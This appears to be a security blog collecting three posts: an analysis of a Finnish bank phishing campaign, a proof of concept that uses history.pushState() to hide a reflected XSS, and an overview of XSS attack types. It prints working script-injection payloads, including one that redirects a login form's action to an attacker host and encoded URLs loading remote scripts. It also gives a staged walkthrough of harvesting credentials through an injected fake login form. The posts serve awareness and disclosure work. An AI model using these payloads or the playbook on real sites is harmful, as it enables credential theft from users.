As we all know there are myriad of phishing e-mails sent every moment. Bank industry has always been one of the major targets, and for a reason.

Also Finnish banks have been scam targets for many times. Since Finnish language is quite hard, the quality of translated content in e-mails has been very poor… until very recent attempt which clearly differs from earlier ones.

Table of Contents

Contents of an E-mail

I have to admit as a native Finnish that this scam e-mail is very well written. There are some minor mistakes but it’s mostly like reading an official e-mail sent by the bank authors.

It seems that every major Finnish bank was a target. Scam e-mails were sent randomly where the recipients most likely got several e-mails from different banks.

I was able to scan all these different e-mails and it was obvious that there was time spent to create these dedicated e-mails for every bank. You can view the contents of an E-mail from here.

The structure of an e-mail is following:

  • contact information (unique per bank),
  • notification that account is about to expire and it needs to be renewed,
  • masked link to the phishing site,
  • list of benefits for being a customer (probably copied from website?),
  • regards (unique per bank)

Phishing Site

Phishing site itself is a realistic looking (or an actual) copy from the bank’s own website. It’s very hard to visually distinguish the phishing site from an actual website. The skeleton is from real bank’s website and the form content is modified.

I was lucky enough to receive all files of the infected website – both the user interface and the PHP script collecting and logging form data. As a web developer I noticed that this could have been done way better. But like I mentioned: the site looks and feels real, no matter how things are under the hood.

The Code Behind

I won’t go through the user interface itself since there’s nothing that interesting. If you’re interested to see screen captures, check this article (in Finnish).

What I was interested of was how it worked. I quickly found out that all the data was logged into a text file. This file contained all the posted data. Sadly I found out that there were real and sensitive information posted by many users.

I reported these findings to “National Cyber Security Centre Finland” and got a quick response that they had found out this logic and there were about 40 infected sites collecting information. I don’t know how many credentials were totally leaked. But every log file I went through contained 5 – 15 real credentials and few fake ones.

You can view the actual PHP script from here. As you can see, it’s very simple and crude. But it does the job it was meant for – logs the data and sends it via e-mail.

Infected Websites

I noticed few patterns when going through infected websites:

  • they are mostly WordPress sites,
  • some of the infected sites are located in Romania

There are no assumptions to be made since security holes and evil people are everywhere. However this was well planned by compromising several WordPress sites instead of having free .tk websites popped out.

NCSC Finland has done an excellent job by informing the administrators of compromised websites to remove phishing page and / or block the request. Additionally all the banks and Finnish media has taken actions to inform about this threat which probably minimises all the damage.

Conclusion

Certainly these phishing attempts are getting more professional all the time. What comes to me, I’ve personally spent time to report mostly reflected XSS flaws (also to banks). And I see it as a very big threat when well formed e-mails and even the smallest one security flaws on banks’ websites are used together. This applies also on e-commerce and other websites dealing with serious money.

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

XSS - An Underestimated Threat?

Cross-site scripting (XSS) is a type of security vulnerability which allows attacker to inject external client-side code on a website. Exploited vulnerabilities can cause only a small nuisance but in many cases they can also be exploited in very harmful ways.

XSS vulnerabilities are both unsurprisingly common and usually quite easy to spot. Despite the situation, XSS isn’t often concerned as a dangerous security risk.

Few months ago, Mikko Hyppönen (Chief Research Officer, F-Secure) wrote on their blog about a XSS vulnerability found on their site. This incident inspired me to write this article about XSS vulnerabilities in general – the form of a vulnerability I see way too underestimated.

Hyppönen made an excellent statement (free translation): “If even the companies specialized in data security don’t have flawless websites then what are the chances for companies which aren’t specialized in it?”.

I completely agree with his statement. While writing this article, I took 15 random websites from The TOP25 most visited websites in Finland. I did brief, manual tests to these websites and ended up finding XSS vulnerabilities in nine different sites. Eight of these websites has user logins, and two of them also deals with real money transactions.

In this article I’ll make an overview on XSS as a vulnerability, listing the forms of vulnerabilities and how they are exploited. I’ve also created a light example, which is meant for demonstrating XSS in real use.

This article doesn’t offer tips for protecting against XSS exploits mainly because the subject is technology independent. However, there are few excellent links at the end of the article, also offering guidance for website administrators.

This article is also published in Finnish, at Gfx.

What XSS is all about?

  • The amount of XSS vulnerabilities is estimated as 80% out of total amount of web security vulnerabilities (according to Symantec, 2007),
  • OWASP (The Open Web Application Security Project) has listed XSS vulnerabilites as 2nd highest web application security risk in 2010,
  • XSS vulnerabilities have been found also on very large websites, such as Facebook, Twitter or Wikipedia.

As a brief conclusion it can be said XSS is a severe vulnerability, threatening both small and large websites.

Different types of XSS vulnerabilites

XSS vulnerabilites can be divided at least in four different types:

  1. injection via URL (HTTP query),
  2. injection via permanently displayed data (eg. with form submission),
  3. injection by exploiting client side code,
  4. injection by exploiting external feed displayed on a website,

Additionally, I’ll mention a fifth threat “injection executed by user himself”.

1) Injection via URL

This is the most common type of vulnerability. Injection via URL is also quite short-lived and easily spotted exploit.

If the website is unable to validate the query string correctly, the exploit is very trivial. For instance, the exploit could look like this: http://www.domain.tld/?page=Main”%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e%3c/%73%63%72%69%70%74%3e%3c%73%70%61%6e%20″.

I’m confident by claiming that average user (btw. you’re not average user) don’t see anything suspicious on such URL. In addition, an average user is likely to have a browser setup which doesn’t see anything suspicious in this case either. And even if the browser would react, there still are some methods to fool the browser (or an add-on). Plus we could use URL shorteners because most of them don’t sanitize URL’s for potential XSS exploits.

2) Injection via permanently displayed data

This exploit is much more severe than previous one because it offers the way to create a permanent injection.

The basic principle is to find a form which allows submitting malicious and displays it without proper validation. For instance, such exploit existed in Facebook only few months ago which allowed XSS exploit through the title of the Facebook group.

Nowadays, many of the websites are created by using existing components or frameworks which almost always prevents this kind of security vulnerabilites.

3) Injection by exploiting client side code

This exploit is very similar to the 1st vulnerability I listed. In this case the injection is not appended to the HTML section, it’s executed by exploiting existing client-side code.

This kind of exploit isn’t quite common. However, in situations where scripts are appended dynamically, eval() function is fired in wrong place or query string parameters are used as client-side variables, website may contain a XSS vulnerability.

4) Injection by exploiting external feed

This type of vulnerability is quite rare and usually occurs in situations where developer has either been very inexperienced or very very busy.

This could occur eg. in a situation where a company publishes their Twitter feed on a website. Such situation may exist when feed is not properly validated or it’s handled incorrectly on client-side.

This actually happened in real life, in a case called #cashgordon.

5) Injection executed by user himself

This type of vulnerability is beyond website administrators or developers. But it’s still worth of mentioning. The exploit is based purely on that user himself is tricked to execute JavaScript in his browser.

But why? Why would anyone execute JavaScript in his browser when told to?

The whole concept is based on three thing: 1) an average user (yes, not you) isn’t aware of the consquences, 2) recommendation to execute JavaScript is usually received from a “known” person, and 3) curiosity is not a sin.

Yes, we’ve seen this movie before. The concept is practically same when dealing with e-mail worms and viruses.

This kind of exploit is something you’ve most likely seen on Facebook. For instance, when Facebook users are told they can activate Dislike-button, they go nuts. Tell them to execute a single line of JavaScript (leaked by Facebook developers of course – or some other fancy story), and they’ll do it. And while posting status updates without user prompt is possible, the story goes on and on…

XSS vulnerability means trouble

In many cases XSS means more than teenagers popping up alert dialogs with dirty words. I’ve listed some of the troubles related to XSS vulnerabilities:

User input is not protected

The most important thing to note is that when website is injected with XSS, everything user does can be logged. If we trick the user to login the website like he normally does, he gives us his credentials without ever being aware of it.

Users tend to trust known websites

Another important point is XSS offers a playground where users tend to think everything is safe. This lowers the barrier for user to hand over information about himself. Whenever there is a form or dialog in a trusted environment, requesting some private information with a nice and warm introduction in a trusted environment, many users don’t feel anything being wrong.

XSS vulnerability may indicate also other type of security vulnerabilities

When XSS vulnerability is found on a website, it’s not impolite to expect there are also other flaws in security. XSS vulnerability usually acts as an indicator that website is custom made, which means data security issues are done almost from scratch. Even if the website is built by using framework(s), there’s still something done awfully wrong.

In any case I’m quite convinced that “XSS vulnerabilities attracts people with black hats”.

Mistakes are repeated

When the creator of the exploitable website is known, a new kind of problem is born: with Google or by visiting a creator’s website it’s usually easy to find out other websites they have created. And if they’ve created one website with flaws, it’s possible the same flaws are repeated on other websites too.

There’s no such thing as “harmless vulnerability” from the user point-of-view

When an user is told that website has had some issues with data security, he’ll definitely see that as negative thing. It probably harms the “relationship” between an user and a website.

There’s no practical difference from the average user’s point-of-view whether the security issue has been only a minor XSS vulnerability or the whole database has been taken. They’re not interested in technical details or excuses about severity of the impact, at least not right after the incident.

An imaginary example of XSS vulnerability

This example demonstrates the situation which could occur when a website suffers from XSS vulnerability.

The setup

We’ve found a XSS vulnerability from a very popular discussion forum. All of the query string parameters aren’t validated correctly and injection can be made via URL: http://www.foobarforum.com/?threadID=42%27%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e.

The injection string is mainly encoded in UTF-8 format. We could make URL even shorter by encoding only the part of the string. Or alternatively we could use URL shortener service.

The preparation

So, we have created a discussion thread we’re referring to. We have also written a script that will do the “magic” for the injected page.

Earlier, we’ve created user accounts to other popular discussion forums and written few messages in order to make these profiles more reliable.

Now it’s the time to write harmless discussion threads to other forums, which are referring to the forum with vulnerability:

An image about the discussion thread referring to the injected page.

These messages are written outside normal working hours, while discussion forums are still very active. In other words, we’re having many users seeing these messages while the reaction time of the exploited website is likely to be longer.

The messages should be alluring yet convincing enough. Our advantage is that most discussion forums have been created around certain general topics (like technology, music, family etc), which makes it easier to compose tempting messages.

The most obvious problem is that sooner or later one of the users will realize that referring link contains a XSS string, and he’ll immediately report about it. However, the link is spread on many discussion forums and the show isn’t over until there are reactions on the vulnerable website.

The action

In this case, we’re interested in getting user accounts. Thus, we have to have a story which encourages users either to log in or to register through the injected page. Additionally, we have to take care that users are staying in the injected page:

Image of an injected page where user is encouraged to fill his private information

We’ve modified inner content of the page while leaving the basic layout and structure as it should be – exluding the login form (1). According to the story, user must log in order to see the content. We’re offering our own login form (2) to encourage visitor to actually log in.

Neither of the forms actually logs in. We just wait a little and then we display an error message claiming either username or password was incorrectly entered.

There’s also a possibility that the visitor is already a registered user, using automatic pre-fill made by the browser. In this case it’s possible for us to collect the user data directly.

We’re also offering a registration link (3), which would dynamically open a registration dialog. And we would do the same with link “Forgot your password?”(4).

Many users have (or should have) several passwords for different websites. It’s possible that user gets frustrated when his login fails and he tries with a different user name or password (I have to admit I do this very often). It’s not illogical to assume that the user name could be e-mail instead of nickname or you’ve recently changed your password to another password you tend to use.

When user requests a new password, a personal question might be asked. This offers yet another possibility to collect private information about the user.

And if we’re not still happy, there are cookie data, perhaps session or website specific, client-side variables and other information we can collect for later use.

The outcome

Even if we wouldn’t receive any sensitive information about users who visited the injected page, the harm is already done. Least (or the right thing) the website administrator could do, is to inform all the users about the incident and recommend them to change their passwords – preferably in every website they’re using the same password.

Conclusion

Like I earlier said, the amount of XSS vulnerabilities is huge and they’re spotted both in small and large websites. To support my point-of-view, I did spend some time to see the “tip of the iceberg” by going through the most popular websites in Finland.

I’m confident to finish my article with a conclusion that either the attitude towards XSS vulnerabilites is too slight or alternatively developers aren’t fully aware about XSS as a security threat.

Exploitation of XSS vulnerabilities requires some creativity and imagination – “it’s not the story itself, it’s all about how it’s been told”. When the ultimate goal is to cause harm with XSS, it’s never too hard to generate the story.

External resources